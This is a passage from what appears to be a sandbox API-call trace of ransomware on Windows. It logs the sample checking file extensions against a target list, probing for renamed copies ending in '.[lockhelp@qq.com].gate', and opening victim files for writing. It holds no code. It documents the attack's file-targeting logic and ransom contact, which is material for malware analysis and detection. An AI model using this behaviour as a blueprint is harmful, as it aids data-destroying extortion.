Flags=0x0, Size=0x6) returned 0x73bf90 [0272.237] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7406d8 [0272.237] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x100000) returned 0x3c8c020 [0272.240] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740540 [0272.240] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x740540, Size=0x20) returned 0x71eb60 [0272.240] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740558 [0272.240] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x740558, Size=0x20) returned 0x71ed18 [0272.240] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0272.241] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0272.241] Wow64DisableWow64FsRedirection (in: OldValue=0x327ff50 | out: OldValue=0x327ff50*=0x0) returned 1 [0272.241] lstrlenW (lpString="kernel32.dll") returned 12 [0272.241] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71eb60 | out: hHeap=0x6e0000) returned 1 [0272.241] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0272.241] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71ed18 | out: hHeap=0x6e0000) returned 1 [0272.241] Sleep (dwMilliseconds=0x64) [0272.371] Sleep (dwMilliseconds=0x64) [0272.504] Sleep (dwMilliseconds=0x64) [0272.696] lstrcmpiW (lpString1=".LOG", lpString2=".gate") returned 1 [0272.696] lstrlenW (lpString="BCD.LOG") returned 7 [0272.696] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.696] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0272.696] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0272.696] lstrlenW (lpString=".doc") returned 4 [0272.696] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0272.696] lstrlenW (lpString=".docx") returned 5 [0272.696] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0272.696] lstrlenW (lpString=".pdf") returned 4 [0272.696] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0272.696] lstrlenW (lpString=".xls") returned 4 [0272.696] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0272.696] lstrlenW (lpString=".xlsx") returned 5 [0272.696] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0272.696] lstrlenW (lpString=".ppt") returned 4 [0272.696] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0272.696] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0272.696] lstrlenW (lpString=".zip") returned 4 [0272.696] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0272.696] lstrlenW (lpString=".rar") returned 4 [0272.696] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0272.696] lstrlenW (lpString=".bz2") returned 4 [0272.696] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0272.696] lstrlenW (lpString=".7z") returned 3 [0272.696] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0272.696] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0272.697] lstrlenW (lpString=".dbf") returned 4 [0272.697] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0272.697] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0272.697] lstrlenW (lpString=".1cd") returned 4 [0272.697] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0272.697] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0272.697] lstrlenW (lpString=".jpg") returned 4 [0272.697] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0272.697] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0272.697] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0272.697] lstrlenW (lpString=".doc") returned 4 [0272.697] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0272.697] lstrlenW (lpString=".docx") returned 5 [0272.697] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0272.697] lstrlenW (lpString=".pdf") returned 4 [0272.697] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0272.697] lstrlenW (lpString=".xls") returned 4 [0272.697] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0272.697] lstrlenW (lpString=".xlsx") returned 5 [0272.697] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0272.697] lstrlenW (lpString=".ppt") returned 4 [0272.697] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0272.697] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0272.697] lstrlenW (lpString=".zip") returned 4 [0272.697] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0272.697] lstrlenW (lpString=".rar") returned 4 [0272.697] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0272.697] lstrlenW (lpString=".bz2") returned 4 [0272.697] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0272.697] lstrlenW (lpString=".7z") returned 3 [0272.697] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0272.698] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0272.698] lstrlenW (lpString=".dbf") returned 4 [0272.698] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0272.698] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0272.698] lstrlenW (lpString=".1cd") returned 4 [0272.698] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0272.698] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0272.698] lstrlenW (lpString=".jpg") returned 4 [0272.698] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0272.698] Sleep (dwMilliseconds=0x64) [0272.989] Sleep (dwMilliseconds=0x64) [0273.164] Sleep (dwMilliseconds=0x64) [0273.298] Sleep (dwMilliseconds=0x64) [0273.400] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0273.400] lstrlenW (lpString="Content.xml") returned 11 [0273.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0273.417] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=27045) returned 1 [0273.417] CloseHandle (hObject=0x3a0) returned 1 [0273.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0273.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0273.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0273.418] lstrlenW (lpString=".doc") returned 4 [0273.418] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0273.418] lstrlenW (lpString=".docx") returned 5 [0273.418] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0273.418] lstrlenW (lpString=".pdf") returned 4 [0273.418] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0273.418] lstrlenW (lpString=".xls") returned 4 [0273.418] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0273.418] lstrlenW (lpString=".xlsx") returned 5 [0273.418] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0273.418] lstrlenW (lpString=".ppt") returned 4 [0273.418] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0273.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0273.418] lstrlenW (lpString=".zip") returned 4 [0273.418] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0273.418] lstrlenW (lpString=".rar") returned 4 [0273.418] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0273.418] lstrlenW (lpString=".bz2") returned 4 [0273.418] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0273.418] lstrlenW (lpString=".7z") returned 3 [0273.418] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0273.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0273.418] lstrlenW (lpString=".dbf") returned 4 [0273.418] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0273.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0273.418] lstrlenW (lpString=".1cd") returned 4 [0273.418] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0273.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0273.419] lstrlenW (lpString=".jpg") returned 4 [0273.419] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0273.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0273.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0273.419] lstrlenW (lpString=".doc") returned 4 [0273.419] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0273.419] lstrlenW (lpString=".docx") returned 5 [0273.419] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0273.419] lstrlenW (lpString=".pdf") returned 4 [0273.419] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0273.419] lstrlenW (lpString=".xls") returned 4 [0273.419] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0273.419] lstrlenW (lpString=".xlsx") returned 5 [0273.419] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0273.419] lstrlenW (lpString=".ppt") returned 4 [0273.419] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0273.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0273.419] lstrlenW (lpString=".zip") returned 4 [0273.419] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0273.419] lstrlenW (lpString=".rar") returned 4 [0273.419] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0273.419] lstrlenW (lpString=".bz2") returned 4 [0273.419] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0273.419] lstrlenW (lpString=".7z") returned 3 [0273.419] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0273.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0273.419] lstrlenW (lpString=".dbf") returned 4 [0273.419] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0273.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0273.419] lstrlenW (lpString=".1cd") returned 4 [0273.419] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0273.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0273.419] lstrlenW (lpString=".jpg") returned 4 [0273.420] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0273.420] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0273.420] lstrlenW (lpString="boxed-join.avi") returned 14 [0273.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.011] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=46622) returned 1 [0274.011] CloseHandle (hObject=0x3a0) returned 1 [0274.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0274.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0274.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0274.011] lstrlenW (lpString=".doc") returned 4 [0274.011] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0274.011] lstrlenW (lpString=".docx") returned 5 [0274.011] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0274.011] lstrlenW (lpString=".pdf") returned 4 [0274.012] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0274.012] lstrlenW (lpString=".xls") returned 4 [0274.012] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0274.012] lstrlenW (lpString=".xlsx") returned 5 [0274.012] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0274.012] lstrlenW (lpString=".ppt") returned 4 [0274.012] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0274.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0274.012] lstrlenW (lpString=".zip") returned 4 [0274.012] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0274.012] lstrlenW (lpString=".rar") returned 4 [0274.012] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0274.012] lstrlenW (lpString=".bz2") returned 4 [0274.012] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0274.012] lstrlenW (lpString=".7z") returned 3 [0274.012] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0274.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0274.012] lstrlenW (lpString=".dbf") returned 4 [0274.053] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0274.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0274.053] lstrlenW (lpString=".1cd") returned 4 [0274.053] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0274.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0274.053] lstrlenW (lpString=".jpg") returned 4 [0274.053] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0274.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0274.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0274.053] lstrlenW (lpString=".doc") returned 4 [0274.053] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0274.053] lstrlenW (lpString=".docx") returned 5 [0274.053] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0274.053] lstrlenW (lpString=".pdf") returned 4 [0274.053] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0274.053] lstrlenW (lpString=".xls") returned 4 [0274.053] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0274.053] lstrlenW (lpString=".xlsx") returned 5 [0274.053] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0274.053] lstrlenW (lpString=".ppt") returned 4 [0274.053] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0274.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0274.053] lstrlenW (lpString=".zip") returned 4 [0274.053] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0274.054] lstrlenW (lpString=".rar") returned 4 [0274.054] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0274.054] lstrlenW (lpString=".bz2") returned 4 [0274.054] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0274.054] lstrlenW (lpString=".7z") returned 3 [0274.054] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0274.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0274.054] lstrlenW (lpString=".dbf") returned 4 [0274.054] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0274.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0274.054] lstrlenW (lpString=".1cd") returned 4 [0274.054] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0274.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0274.054] lstrlenW (lpString=".jpg") returned 4 [0274.054] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0274.054] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0274.054] lstrlenW (lpString="auxbase.xml") returned 11 [0274.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.420] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1434) returned 1 [0274.420] CloseHandle (hObject=0x390) returned 1 [0274.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0274.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0274.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0274.420] lstrlenW (lpString=".doc") returned 4 [0274.420] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.420] lstrlenW (lpString=".docx") returned 5 [0274.420] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0274.420] lstrlenW (lpString=".pdf") returned 4 [0274.420] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.420] lstrlenW (lpString=".xls") returned 4 [0274.420] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.421] lstrlenW (lpString=".xlsx") returned 5 [0274.421] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0274.421] lstrlenW (lpString=".ppt") returned 4 [0274.421] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0274.421] lstrlenW (lpString=".zip") returned 4 [0274.421] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.421] lstrlenW (lpString=".rar") returned 4 [0274.421] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.421] lstrlenW (lpString=".bz2") returned 4 [0274.421] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.421] lstrlenW (lpString=".7z") returned 3 [0274.421] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0274.421] lstrlenW (lpString=".dbf") returned 4 [0274.421] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0274.421] lstrlenW (lpString=".1cd") returned 4 [0274.421] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0274.421] lstrlenW (lpString=".jpg") returned 4 [0274.421] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0274.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0274.421] lstrlenW (lpString=".doc") returned 4 [0274.421] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.421] lstrlenW (lpString=".docx") returned 5 [0274.421] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0274.421] lstrlenW (lpString=".pdf") returned 4 [0274.421] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.421] lstrlenW (lpString=".xls") returned 4 [0274.421] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.421] lstrlenW (lpString=".xlsx") returned 5 [0274.421] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0274.421] lstrlenW (lpString=".ppt") returned 4 [0274.422] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0274.422] lstrlenW (lpString=".zip") returned 4 [0274.422] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.422] lstrlenW (lpString=".rar") returned 4 [0274.422] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.422] lstrlenW (lpString=".bz2") returned 4 [0274.422] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.422] lstrlenW (lpString=".7z") returned 3 [0274.422] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0274.422] lstrlenW (lpString=".dbf") returned 4 [0274.422] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0274.422] lstrlenW (lpString=".1cd") returned 4 [0274.422] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0274.422] lstrlenW (lpString=".jpg") returned 4 [0274.422] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.422] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0274.422] lstrlenW (lpString="auxpad.xml") returned 10 [0274.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.426] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=212) returned 1 [0274.426] CloseHandle (hObject=0x390) returned 1 [0274.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0274.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0274.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0274.426] lstrlenW (lpString=".doc") returned 4 [0274.426] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.426] lstrlenW (lpString=".docx") returned 5 [0274.426] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0274.426] lstrlenW (lpString=".pdf") returned 4 [0274.426] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.426] lstrlenW (lpString=".xls") returned 4 [0274.426] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.426] lstrlenW (lpString=".xlsx") returned 5 [0274.426] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0274.426] lstrlenW (lpString=".ppt") returned 4 [0274.426] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0274.426] lstrlenW (lpString=".zip") returned 4 [0274.426] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.426] lstrlenW (lpString=".rar") returned 4 [0274.426] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.427] lstrlenW (lpString=".bz2") returned 4 [0274.427] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.427] lstrlenW (lpString=".7z") returned 3 [0274.427] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.427] lstrlenW (lpString="C:\\Program Files\\Common 